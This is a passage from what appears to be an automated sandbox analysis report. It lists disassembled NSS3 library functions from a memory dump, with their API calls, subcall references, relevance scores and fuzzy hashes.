PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA2E8B

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC8F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CC79BFF,?,00000000,00000000), ref: 6CC8F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CC77FFA), ref: 6CCA2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCA317B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 4d09e093de70994ae9ee89297d10c665848d5c10bb4f62d6a867d0a6b9599028
Instruction ID: 322e45c16c8b704bb13689d0ef1352e532541fe523eb5da8f378724dd61f6ced
Opcode Fuzzy Hash: 4d09e093de70994ae9ee89297d10c665848d5c10bb4f62d6a867d0a6b9599028
Instruction Fuzzy Hash: 1BA1CD71A002299FDB24CF55CC98BEAB7B5EF49308F048099ED4967741E731AD86CFA1

Function 6CC6ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC6ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC6EDCE

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

free.MOZGLUE(00000000,?,?,?,?,6CC6B04F), ref: 6CC6EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC6EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC6EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC6EEFB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 9966c9ac6c25155e8253271c568d4aed92b6332ef1826f725c55cb4920095a25
Instruction ID: 3965272f3ccb1cd053755f0ff3eb8595f42748bbb50ea1dde155f1822297c137
Opcode Fuzzy Hash: 9966c9ac6c25155e8253271c568d4aed92b6332ef1826f725c55cb4920095a25
Instruction Fuzzy Hash: 00815BB5A002059FEB14CF5ADEC4AAA77F5BF88308F14442EE9159BB51E730E815CBA1

Function 6CC6CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC6DAE2,?), ref: 6CC6C6C2

PR_Now.NSS3 ref: 6CC6CD35

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

Part of subcall function 6CC56C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C3F

PR_GetCurrentThread.NSS3 ref: 6CC6CD54

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

Part of subcall function 6CC57260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01CCC,00000000,00000000,?,?), ref: 6CC5729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC6CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC6CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC6CE2C

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC6CE40

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

Part of subcall function 6CC6CEE0: PORT_ArenaMark_Util.NSS3(?,6CC6CD93,?), ref: 6CC6CEEE
Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC6CD93,?), ref: 6CC6CEFC
Part of subcall function 6CC6CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC6CD93,?), ref: 6CC6CF0B
Part of subcall function 6CC6CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC6CD93,?), ref: 6CC6CF1D

Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF47
Part of subcall function 6CC6CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF67
Part of subcall function 6CC6CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC6CD93,?,?,?,?,?,?,?,?,?,?,?,6CC6CD93,?), ref: 6CC6CF78

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: ec1545d69250ab00f6e2a89ef6d5e46bb74e2ca0b4eb5a473d4f536a0a7d4231
Instruction ID: 5fdb4632db200da02b96099377f74b34debc70679d5396dda148d3a4a9bc7819
Opcode Fuzzy Hash: ec1545d69250ab00f6e2a89ef6d5e46bb74e2ca0b4eb5a473d4f536a0a7d4231
Instruction Fuzzy Hash: CA51B2B6A011009FEB10EF6ADE80BAA77F4AF58348F250524D955E7F40FB31E915CB91

Function 6CC7FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CC7FFE5

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_EnterMonitor.NSS3(?), ref: 6CC80004
PR_EnterMonitor.NSS3(?), ref: 6CC8001B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 9705604cfe0f11eb52d34c6dea919ad3522a7d6faedb8d3507821f5cf784beac
Instruction ID: ed2645f20c878d4777fc92db6776fccc843e920c807a075ebcfe0e0fae9da0ea
Opcode Fuzzy Hash: 9705604cfe0f11eb52d34c6dea919ad3522a7d6faedb8d3507821f5cf784beac
Instruction Fuzzy Hash: 484148753476808FE7308A29DC527EB7AA1EB4132DF10053DD45BCAE90F7B9A94AC742

Function 6CC7FEE0 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC7FF33
NSS_OptionGet.NSS3(00000001,?), ref: 6CC7FF45
PR_SetError.NSS3(FFFFD084,00000000), ref: 6CC7FF6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC7FF9B
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC80088
PR_ExitMonitor.NSS3(?), ref: 6CC80180
PR_ExitMonitor.NSS3(?), ref: 6CC80197

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$ExitMonitor$Option
String ID:
API String ID: 1656454950-0
Opcode ID: 870dca22737496289fd805893c316a50d8f5284be9ca33ea6ad92cf06121310b
Instruction ID: ad09061c3e14bc959ec25585857d62fe298c636cd35c22a208b894dd3458023e
Opcode Fuzzy Hash: 870dca22737496289fd805893c316a50d8f5284be9ca33ea6ad92cf06121310b
Instruction Fuzzy Hash: 9F319D71B042559FE720963ADC51BAFB7E8EB8270CF000439E90AD7B40F675AD0987A2

Function 6CC3EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC3EF38

Part of subcall function 6CC29520: PK11_IsLoggedIn.NSS3(00000000,?,6CC5379E,?,00000001,?), ref: 6CC29542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC3EF53

Part of subcall function 6CC44C20: TlsGetValue.KERNEL32 ref: 6CC44C4C
Part of subcall function 6CC44C20: EnterCriticalSection.KERNEL32(?), ref: 6CC44C60
Part of subcall function 6CC44C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CA1
Part of subcall function 6CC44C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC44CBE
Part of subcall function 6CC44C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CD2
Part of subcall function 6CC44C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D3A

PR_GetCurrentThread.NSS3 ref: 6CC3EF9E

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

free.MOZGLUE(00000000), ref: 6CC3EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC3F016
free.MOZGLUE(00000000), ref: 6CC3F022

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: b9045d90a4ff171ad9032c4983f1db81a6c94462bcf6bc64e83c02e64e234d04
Instruction ID: 58a348e15b13aa0d38aceb7b7549431dc3d561fc6ae1e8fd784346065fe03871
Opcode Fuzzy Hash: b9045d90a4ff171ad9032c4983f1db81a6c94462bcf6bc64e83c02e64e234d04
Instruction Fuzzy Hash: F8418371E0011AAFDF019FA9EC85BEE7BB9AF48358F044029F918A6350F775C915CBA1

Function 6CC2CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC2CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC2D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC2D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2D025
PR_NewLock.NSS3 ref: 6CC2D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC2D074

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 9b05c72dbc1844e5ff5f24bca9b1e0eb5339b1654b6bcc1152c83f4c7f6dc917
Instruction ID: a4cfa91facb6b428bc6e3364537a967aafb33f2f86477001c99a8e60517d2a77
Opcode Fuzzy Hash: 9b05c72dbc1844e5ff5f24bca9b1e0eb5339b1654b6bcc1152c83f4c7f6dc917
Instruction Fuzzy Hash: E841C5B0A013118FEB50DF29C88479ABBE4EF18318F114169DC198FB56F778D486CB91

Function 6CC73FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC73FF2

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CC74001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CC7400F

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CC74054

Part of subcall function 6CC0BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CC0BC24
Part of subcall function 6CC0BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC0BC39
Part of subcall function 6CC0BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CC0BC58
Part of subcall function 6CC0BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC0BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC74070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CC740CD

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 24629bf2c89b0c7064c6f316adec58f5b01d85889fe62e3b910f9a889a46fa98
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: E131F8B2E0034197EB10DF659D85BBB3364EF9170CF144225ED089BB42FB72E95987A2

Function 6CC12E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CC02D1A), ref: 6CC12E7E

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

PR_Now.NSS3 ref: 6CC12EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC12EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CC02D1A), ref: 6CC12F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC02D1A), ref: 6CC12F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC12F81

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6dde221f027549c582b8d7db1e82fd17257ba43d4f672cc4f21e9547fbf687e9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 723143785091508BE710C617CC68BAFB2A5EF83318F244A79C02997ED0FB31988ADA11

Function 6CC00E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CC00A2C), ref: 6CC00E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CC00A2C), ref: 6CC00E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CC00A2C), ref: 6CC00E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CC00A2C), ref: 6CC00E90
free.MOZGLUE(00000000), ref: 6CC00EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CC00A2C), ref: 6CC00ED9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b59d46fb42a1900384d13168a5b9166f683c42624b57abc07c2eb91b5861d6c6
Instruction ID: 051b65f1fb53639b559ff5a72e7b42026ab6cd89db81be0a78c94c0bd4ef7e54
Opcode Fuzzy Hash: b59d46fb42a1900384d13168a5b9166f683c42624b57abc07c2eb91b5861d6c6
Instruction Fuzzy Hash: FE212C72B002845BEB004D669C85B6B76AEEBC1749F1B4035D97873A02FB62C855C2A1

Function 6CC0AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CC0AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CC0AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD29500), ref: 6CC0AF23

Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC5F0C8
Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0AF37

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 4618a2a1361f0517ba6c51057730019f305e095c3dccd49e57b86ef70225c92f
Instruction ID: 577df7da8e444965dc61f2cdceae10cabf5c51706178a7c1243180a2860fdbdf
Opcode Fuzzy Hash: 4618a2a1361f0517ba6c51057730019f305e095c3dccd49e57b86ef70225c92f
Instruction Fuzzy Hash: 742149B2A09200ABEB108F198C41B9A7BE4AFC572CF144319FC249B790F732D55987A7

Function 6CC8EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC8EE85
realloc.MOZGLUE(9D944D0E,?), ref: 6CC8EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC8EEC5

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

htonl.WSOCK32(?), ref: 6CC8EEE3
htonl.WSOCK32(00000000,?), ref: 6CC8EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC8EF01

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
